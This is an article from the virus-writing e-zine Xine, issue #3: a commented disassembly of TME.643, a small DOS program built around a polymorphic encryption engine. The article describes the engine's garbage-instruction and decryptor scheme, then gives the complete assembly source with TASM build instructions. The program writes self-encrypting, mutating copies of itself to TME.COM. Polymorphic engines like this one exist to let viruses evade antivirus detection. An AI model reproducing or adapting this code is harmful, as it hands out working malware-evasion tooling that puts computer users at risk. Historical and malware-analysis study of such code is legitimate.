Copy Link
Add to Bookmark
Report
Xine - issue #3 - Phile 308
/-----------------------------\
| Xine - issue #3 - Phile 308 |
\-----------------------------/
comment *
TME.643
Disassembly by
Darkman/29A
TME.643 is a 643 bytes generator. Generates a new copy of itself, when
executed. TME.643 is polymorphic in file using its internal polymorphic
engine.
Garbage instructions:
CMP reg,reg; TEST reg,reg
JA/JNBE imm8; JAE/JNC/JNB imm8; JB/JC/JNAE imm8; JBE/JNA imm8; JE/JZ imm8
JG/JNLE imm8; JGE/JNL imm8; JL/JNGE imm8; JLE/JNG imm8; JNE/JNZ imm8
JNO imm8; JNP/JPO imm8; JNS imm8; JO imm8; JP/JPE imm8; JS imm8
NOP; CLD; STD; STI; CMC; CLC; STC
Garbage registers:
AL; CL; DL; BL; AH; CH; DH; BH; AX; CX; DX; BX; (SP); BP; SI; DI
TME decryptor:
One to four garbage instruction(s).
MOV reg16,DS (Unable to use SP as reg16)
One to four garbage instruction(s).
MOV DS,reg16 (Unable to use SP as reg16)
One to eight garbage instruction(s).
One to four garbage instruction(s).
MOV reg16,imm16 (Decryption key; Length of encrypted code; Offset of e...)
One to two garbage instruction(s).
One to eight garbage instruction(s).
XOR [SI+imm8],reg16; XOR [DI+imm8],reg16; XOR [BX+SI+imm8],reg16; XOR [BX...
One to four garbage instruction(s).
INC reg8 (Increase high byte of decryption key)
One to four garbage instruction(s).
INC reg16 (Increase count register)
One to four garbage instruction(s).
DEC reg8 (Decrease low byte of decryption key)
One to two garbage instruction(s).
LOOP imm8 (Garbage generation above decryption opcode)
One to four garbage instruction(s).
Min. decryptor size: 36 bytes.
Max. decryptor size: 134 bytes.
I would like to thank my girlfriend for pushing me to finish this
disassembly.
To compile TME.643 with Turbo Assembler v 4.0 type:
TASM /M TME.ASM
TLINK /t /x TME.OBJ
*
.model tiny
.code
org 100h ; Origin of TME.643
code_begin:
call delta_offset
delta_offset:
pop si ; Load SI from stack
sub si,offset delta_offset
mov di,100h ; DI = offset of beginning of code
add si,di ; SI = " " " " "
mov cx,(code_end-code_begin)
lea bx,open_file ; BX = offset of open_file
cld ; Clear direction flag
jmp move_tme_gen
open_file:
mov [decrypt_off],100h ; Store decryptor's offset
lea dx,filename ; DX = offset of filename
mov ax,3d02h ; Open file (read/write)
int 21h
xchg ax,bx ; BX = file handle
mov ah,40h ; Write to file
xor cx,cx ; CX = number of bytes to write
int 21h
mov cx,(code_end-code_begin)
call tme_poly
mov ah,3eh ; Close file
int 21h
int 20h ; Terminate program!
int21_simula proc near ; Simulate interrupt 21h
int 21h
ret ; Return!
endp
set_pos_eof proc near ; Set current file position (EOF)
mov ax,4202h ; " " " " "
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
int 21h
ret ; Return!
endp
filename db 'TME.COM',00h ; Filename
tme_poly proc near ; TME.643 (polymorphic engine)
push bx cx ; Save registers at stack
lea di,random_table ; DI = offset of random_table
xor ax,ax ; Get system time
int 1ah
xchg ax,dx ; AX = 16-bit random number
mov cx,(random_end-random_begin)/02h
mov bx,ax ; BX = 16-bit random number
gen_tbl_loop:
rcr ax,01h ; AX = " " "
jnc sto_rnd_num ; No carry? Jump to sto_rnd_num
db 31h,0d8h ; XOR AX,BX
sto_rnd_num:
stosw ; Store 16-bit random number
loop gen_tbl_loop
lea si,random_table ; SI = offset of random_table
mov cx,(random_end-random_begin)/02h
sto_rnd_loop:
in al,40h ; AL = 8-bit random number
xor [si],al ; Store 8-bit random number
inc si ; Increase index register
loop sto_rnd_loop
lea di,reg16_table ; DI = offset of reg16_table
mov cx,06h ; Store twelve bytes
xor ax,ax ; Zero AX
stosw ; Store zero
pop ax ; Load AX from stack (CX)
stosw ; Store length of plain code
xor ax,ax ; Zero AX
rep stosw ; Store zero
lea di,destination ; DI = offset of destination
lea si,random_table ; SI = offset of random_table
xor cx,cx ; Zero CX
mov ah,03h ; Generate one to four garbage ins...
call gen_garbage
dont_use_sp:
lodsb ; AL = 8-bit random number
and ax,0000000000000111b
cmp al,00000100b ; Stack pointer?
je dont_use_sp ; Equal? Jump to dont_use_sp
xchg al,ah ; AH = random 16-bit register
add ax,1101100010001100b
stosw ; Store MOV reg16,DS
push ax ; Save AX at stack
mov ah,03h ; Generate one to four garbage ins...
call gen_garbage
pop ax ; Load AX from stack
add al,00000010b ; MOV DS,reg16
stosw ; Store MOV DS,reg16
mov ah,07h ; Generate one to eight garbage in...
call gen_garbage
lodsb ; AL = 8-bit random number
and ax,0000000000000111b
mov [address_mode],al ; Store registers used in decrypt...
push si ; Save DI at stack
mov si,ax ; SI = random number within seven
shl si,01h ; Multiply random number by two
add si,offset mode_table
jmp [si]
mode_si:
pop si ; Load SI from stack
mov ax,[decrypt_off] ; AX = decryptor's offset
add [si_],ax ; Store decryptor's offset
or cl,00000110b ; Source index is index register
jmp get_key_reg
mode_di:
pop si ; Load SI from stack
mov ax,[decrypt_off] ; AX = decryptor's offset
add [di_],ax ; Store decryptor's offset
or cl,00000111b ; Destination index is index register
jmp get_key_reg
mode_bx_si:
pop si ; Load SI from stack
mov ax,[decrypt_off] ; AX = decryptor's offset
mov [si_],ax ; Store decryptor's offset
mov ax,[si-01h] ; AX = 16-bit random number
sub [si_],ax ; Store 16-bit random number
add [bx_],ax ; " " " "
or cl,00000011b ; Base register is index register
jmp get_key_reg
mode_bx_di:
pop si ; Load SI from stack
mov ax,[decrypt_off] ; AX = decryptor's offset
mov [di_],ax ; Store decryptor's offset
mov ax,[si] ; AX = 16-bit random number
sub [bx_],ax ; Store 16-bit random number
add [di_],ax ; " " " "
or cl,00000111b ; Destination index is index register
jmp get_key_reg
mode_bp_si:
pop si ; Load SI from stack
mov [address_mode],02h ; Store registers used in decrypt...
mov ax,[decrypt_off] ; AX = decryptor's offset
mov [si_],ax ; Store decryptor's offset
mov ax,[si+03h] ; AX = 16-bit random number
sub [bp_],ax ; Store 16-bit random number
add [si_],ax ; " " " "
or cl,00000101b ; Base pointer as index register
jmp get_key_reg
mode_bp_di:
pop si ; Load SI from stack
mov [address_mode],03h ; Store registers used in decrypt...
mov ax,[decrypt_off] ; AX = decryptor's offset
mov [bp_],ax ; Store decryptor's offset
mov ax,[si-01h] ; AX = 16-bit random number
sub [bp_],ax ; Store 16-bit random number
add [di_],ax ; " " " "
or cl,00000111b ; Destination index is index register
get_key_reg:
mov ah,03h ; Generate one to four garbage ins...
call gen_garbage
get_key_reg_:
dec si ; Decrease SI
lodsw ; AX = 16-bit random number
and ax,0000000000000011b
mov bx,ax ; BX = register holding decryption...
shl bx,01h ; Multiply register holding decryp...
cmp word ptr [bx+reg16_table],00h
jnz get_key_reg_ ; Register already in use? Jump to...
push ax ; Save AX at stack
dec si ; Decrease index register
lodsw ; AX = 16-bit random number
mov word ptr [bx+reg16_table],ax
mov bp,si ; BP = offset within table of rand...
lea si,reg16_table ; SI = offset of reg16_table
push cx ; Save CX at stack
mov cx,08h ; Examine all 16-bit registers
mov bx,0000000010111000b
examine_loop:
lodsw ; AX = 16-bit immediate
or ax,ax ; Register in use?
jz dont_gen_mov ; Zero? Jump to dont_gen_mov
mov [di],bl ; Store MOV reg16,imm16
push bx ; Save BX at stack
sub bx,0000000010111000b
shl bx,01h ; Multiply register number by two
mov word ptr [bx+reg16_table_],01h
pop bx ; Load BX from stack
inc di ; Increase DI
stosw ; Store 16-bit immediate
dont_gen_mov:
push si ; Save SI at stack
mov si,bp ; SI = offset within table of rand...
inc bx ; BX = offset of next register wit...
mov ah,01h ; Generate one to two garbage inst...
call gen_garbage
mov bp,si ; BP = offset within table of rand...
pop si ; Load SI from stack
loop examine_loop
mov si,bp ; SI = offset within table of rand...
pop cx ax ; Load registers from stack
push di ax ; Save registers at stack
mov ah,07h ; Generate one to eight garbage in...
call gen_garbage
mov al,00110001b ; XOR [(reg16+)reg16+imm8],reg16
stosb ; Store XOR [(reg16+)reg16+imm8],r...
mov bl,[address_mode] ; BL = address mode number
or bl,01000000b ; XOR [(reg16+)reg16+imm8],reg16
pop ax ; Load AX from stack
push ax ; Save AX at stack
shl ax,01h ; Shift register holding decryptio...
shl ax,01h ; " " " "
shl ax,01h ; " " " "
db 00h,0d8h ; ADD AL,BL
stosb ; Store XOR [(reg16+)reg16+imm8],r...
mov word ptr [decrypt_off_],di
stosb ; Store temporary decryption key
mov ah,03h ; Generate one to four garbage ins...
call gen_garbage
pop ax ; Load AX from stack
push ax ; Save AX at stack
xchg al,ah ; AH = register holding decryption...
add ax,1100000011111110b
push ax ; Save AX at stack
stosw ; Store INC reg8
mov ah,03h ; Generate one to four garbage ins...
call gen_garbage
xchg ax,cx ; AX = index register
add al,01000000b ; INC reg16
stosb ; Store INC reg16
mov ah,03h ; Generate one to four garbage ins...
call gen_garbage
pop ax ; Load AX from stack
or ah,00001100b ; DEC reg8
stosw ; Store DEC reg8
mov ah,01h ; Generate one to two garbage inst...
call gen_garbage
mov al,11100010b ; LOOP imm8 (opcode 0e2h)
stosb ; Store LOOP imm8
mov ax,di ; AX = offset of LOOP imm8
pop dx bx ; Load registers from stack
push dx ; Save DS at stack
db 29h,0d8h ; SUB AX,BX
not al ; AL = 8-bit immediate
stosb ; Store 8-bit immediate
mov ah,03h ; Generate one to four garbage ins...
call gen_garbage
lea si,code_begin ; SI = offset of code_begin
mov cx,(code_end-code_begin)
push di cx ; Save registers at stack
rep movsb ; Move plain code above decryptor
pop cx si bx ; Load registers from stack
push si ; Save SI at stack
shl bx,01h ; Multiply register holding decryp...
mov ax,word ptr [bx+reg16_table]
encrypt_loop:
xor [si],ax ; Encrypt byte of plain code
inc al ; Increase high-order byte of encr...
dec ah ; Decrease low-order byte of encry...
inc si ; Increase index register
loop encrypt_loop
mov si,word ptr [decrypt_off_]
pop ax ; Load AX from stack
sub ax,offset destination
mov [si],al ; Store 8-bit immediate
xchg ax,cx ; CX = length of decryptor
add cx,(code_end-code_begin)
pop bx ; Load BX from stack
mov ah,40h ; Write to file
lea dx,destination ; DX = offset of destination
call int21_simula
call set_pos_eof
ret ; Return!
gen_garbage proc near ; Generate random number of garbag...
push ax cx ; Save registers at stack
xor cx,cx ; Zero CX
lodsb ; AL = 8-bit random number
and al,ah ; AL = random number within range
inc al ; Increase random number within range
db 88h,0c1h ; MOV CL,AL
garbage_loop:
lodsb ; AL = 8-bit random number
push si ; Save SI at stack
test al,00000001b ; Generate one byte opcode?
jz gen_one_byte ; Zero? Jump to gen_one_byte
lodsb ; AL = 8-bit random number
test al,00000001b ; Generate jump on condition?
jz gen_jump_con ; Zero? Jump to gen_jump_con
lea si,two_bytes ; SI = offset of two_bytes
and ax,0000000000000011b
shl ax,01h ; Multiply random number by two
db 01h,0c6h ; ADD SI,AX
movsb ; Move CMP/TEST reg,reg
pop si ; Load SI from stack
lodsb ; AL = 8-bit random number
or al,11000000b ; Generate CMP/TEST reg,reg
stosb ; Store CMP/TEST reg,reg
jmp next_garbage
gen_jump_con:
pop si ; Load SI from stack
and ax,0000000000000111b
add al,01110000b ; Generate jump on condition
stosb ; Store jump on condition
xor al,al ; Zero AL
stosb ; Store 8-bit immediate
jmp next_garbage
gen_one_byte:
lea si,one_bytes ; SI = offset of one_bytes
and ax,0000000000000111b
db 01h,0c6h ; ADD SI,AX
movsb ; Move NOP/CLD/STD/STI/CMC/CLC/STC
pop si ; Load SI from stack
next_garbage:
loop garbage_loop
pop cx ax ; Load registers from stack
ret ; Return!
endp
mode_table dw mode_bx_si ; Offset of mode_bx_si
dw mode_bx_di ; Offset of mode_bx_di
dw mode_bp_si ; Offset of mode_bp_si
dw mode_bp_di ; Offset of mode_bp_di
dw mode_si ; Offset of mode_si
dw mode_di ; Offset of mode_di
dw mode_bp_si ; Offset of mode_bp_si
dw mode_bp_di ; Offset of mode_bp_di
one_bytes:
nop ; One byte opcode
cld ; " " "
std ; " " "
sti ; " " "
cmc ; " " "
clc ; " " "
stc ; " " "
two_bytes:
cmp ax,ax ; Two bytes opcodes
test ax,ax ; " " "
cmp al,al ; " " "
test al,al ; " " "
move_tme_gen:
rep movsb ; Move generator to beginning of code
jmp bx
endp
code_end:
decrypt_off dw ? ; Decryptor's offset
address_mode db ? ; Address mode number
decrypt_off_ db ? ; Offset of decryption key
random_begin:
random_table dw 28h dup(?) ; Table of random numbers
random_end:
reg16_table:
ax_ dw ? ; Accumulator register
cx_ dw ? ; Count register
dx_ dw ? ; Data register
bx_ dw ? ; Base register
sp_ dw ? ; Stack pointer
bp_ dw ? ; Base pointer
si_ dw ? ; Source index
di_ dw ? ; Destination index
reg16_table_ dw 08h dup(?) ; Table of 16-bit registers
db 309h dup(?)
destination:
data_end:
end code_begin